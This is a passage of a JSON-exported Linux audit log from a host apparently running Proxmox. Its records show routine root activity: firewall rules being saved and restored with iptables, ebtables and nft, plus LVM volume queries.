msg=audit(1781965475.349:65756): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966195763,"@rawstring":"node=pve type=PATH msg=audit(1781966195.763:68858): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736061,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.061:62379): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59824 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475341,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.341:65755): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966195763,"@rawstring":"node=pve type=PATH msg=audit(1781966195.763:68857): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736055,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.055:62378): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59823 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965474804,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965474.804:65754): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966195752,"@rawstring":"node=pve type=PATH msg=audit(1781966195.752:68856): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736049,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.049:62377): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59822 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965474778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965474.778:65753): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966195752,"@rawstring":"node=pve type=PATH msg=audit(1781966195.752:68856): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736042,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.042:62376): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59821 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965473129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965473.129:65752): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195752,"@rawstring":"node=pve type=PATH msg=audit(1781966195.752:68855): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.036:62375): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59820 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965473129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965473.129:65751): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195752,"@rawstring":"node=pve type=PATH msg=audit(1781966195.752:68854): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.033:62374): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=55980660e740 items=0 ppid=1156 pid=59819 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965473129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965473.129:65750): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195619,"@rawstring":"node=pve type=PATH msg=audit(1781966195.619:68853): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736031,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.031:62373): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13a9d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59819 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965473121,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965473.121:65749): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195619,"@rawstring":"node=pve type=PATH msg=audit(1781966195.619:68853): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736026,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.026:62372): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13beb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59818 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965473121,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965473.121:65748): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195616,"@rawstring":"node=pve type=PATH msg=audit(1781966195.616:68852): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.021:62371): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ea850 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59817 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965473121,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965473.121:65747): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195616,"@rawstring":"node=pve type=PATH msg=audit(1781966195.616:68852): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.016:62370): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14a1a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59816 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468110,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965468.110:65746): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195615,"@rawstring":"node=pve type=PATH msg=audit(1781966195.615:68851): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736012,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.012:62369): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ea850 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59815 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468110,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965468.110:65745): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195615,"@rawstring":"node=pve type=PATH msg=audit(1781966195.615:68851): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736007,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.007:62368): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c45f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59814 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468110,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965468.110:65744): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195615,"@rawstring":"node=pve type=PATH msg=audit(1781966195.615:68850): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.000:62367): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965468.102:65743): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195611,"@rawstring":"node=pve type=PATH msg=audit(1781966195.611:68849): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735994,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.994:62366): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59812 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965468.102:65742): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195611,"@rawstring":"node=pve type=PATH msg=audit(1781966195.611:68849): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735991,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.991:62365): arch=c000003e syscall=59 success=yes exit=0 a0=621b5b468e90 a1=621b5b465c10 a2=621b5b447680 a3=5 items=2 ppid=59805 pid=59811 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965468.102:65741): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966195611,"@rawstring":"node=pve type=PATH msg=audit(1781966195.611:68849): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735988,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.988:62364): arch=c000003e syscall=59 success=yes exit=0 a0=621b50e7eac8 a1=7ffce4e49d00 a2=621b5b447680 a3=621b50e6224e items=2 ppid=59805 pid=59807 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465330,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.330:65740): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966195603,"@rawstring":"node=pve type=PATH msg=audit(1781966195.603:68848): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735987,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.987:62363): arch=c000003e syscall=59 success=yes exit=0 a0=7ffce4e49cc0 a1=621b5b44e310 a2=621b5b447680 a3=5 items=2 ppid=59805 pid=59806 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465321,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.321:65739): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966195603,"@rawstring":"node=pve type=PATH msg=audit(1781966195.603:68848): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.983:62361): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59805 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465321,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.321:65738): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966195595,"@rawstring":"node=pve type=PATH msg=audit(1781966195.595:68847): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.977:62360): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59804 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465321,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.321:65737): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966195595,"@rawstring":"node=pve type=PATH msg=audit(1781966195.595:68847): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735970,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.970:62359): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465317,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.317:65736): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966195586,"@rawstring":"node=pve type=PATH msg=audit(1781966195.586:68846): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735966,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.966:62358): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf8a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.309:65735): proctitle=\"ip6tables-save\""} {"@timestamp":1781966195586,"@rawstring":"node=pve type=PATH msg=audit(1781966195.586:68846): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735960,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.960:62357): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139770 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59801 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.303:65734): proctitle=\"iptables-save\""} {"@timestamp":1781966195577,"@rawstring":"node=pve type=PATH msg=audit(1781966195.577:68845): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735954,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.954:62356): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee440 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.297:65733): proctitle=\"ip6tables-save\""} {"@timestamp":1781966195577,"@rawstring":"node=pve type=PATH msg=audit(1781966195.577:68845): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.461:62355): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59799 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465291,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.291:65732): proctitle=\"iptables-save\""} {"@timestamp":1781966195569,"@rawstring":"node=pve type=PATH msg=audit(1781966195.569:68843): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735452,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.452:62352): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59798 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465287,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.287:65731): proctitle=\"ebtables-restore\""} {"@timestamp":1781966195569,"@rawstring":"node=pve type=PATH msg=audit(1781966195.569:68843): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964734305,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964734.305:62349): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e1920 a1=64f8d73de8e0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59797 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.285:65730): proctitle=\"ebtables-restore\""} {"@timestamp":1781966195564,"@rawstring":"node=pve type=PATH msg=audit(1781966195.564:68842): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964734273,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964734.273:62348): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417640 a1=64f8d514f5c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59796 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.281:65729): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966195564,"@rawstring":"node=pve type=PATH msg=audit(1781966195.564:68842): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964730.446:62347): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59793 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.275:65728): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966195556,"@rawstring":"node=pve type=PATH msg=audit(1781966195.556:68841): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964730.439:62344): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59792 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.271:65727): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966195556,"@rawstring":"node=pve type=PATH msg=audit(1781966195.556:68841): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725943,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.943:62341): arch=c000003e syscall=59 success=yes exit=0 a0=6340ed023b60 a1=6340ed02fe40 a2=6340ecffd680 a3=5 items=2 ppid=59785 pid=59791 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465265,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965465.265:65726): 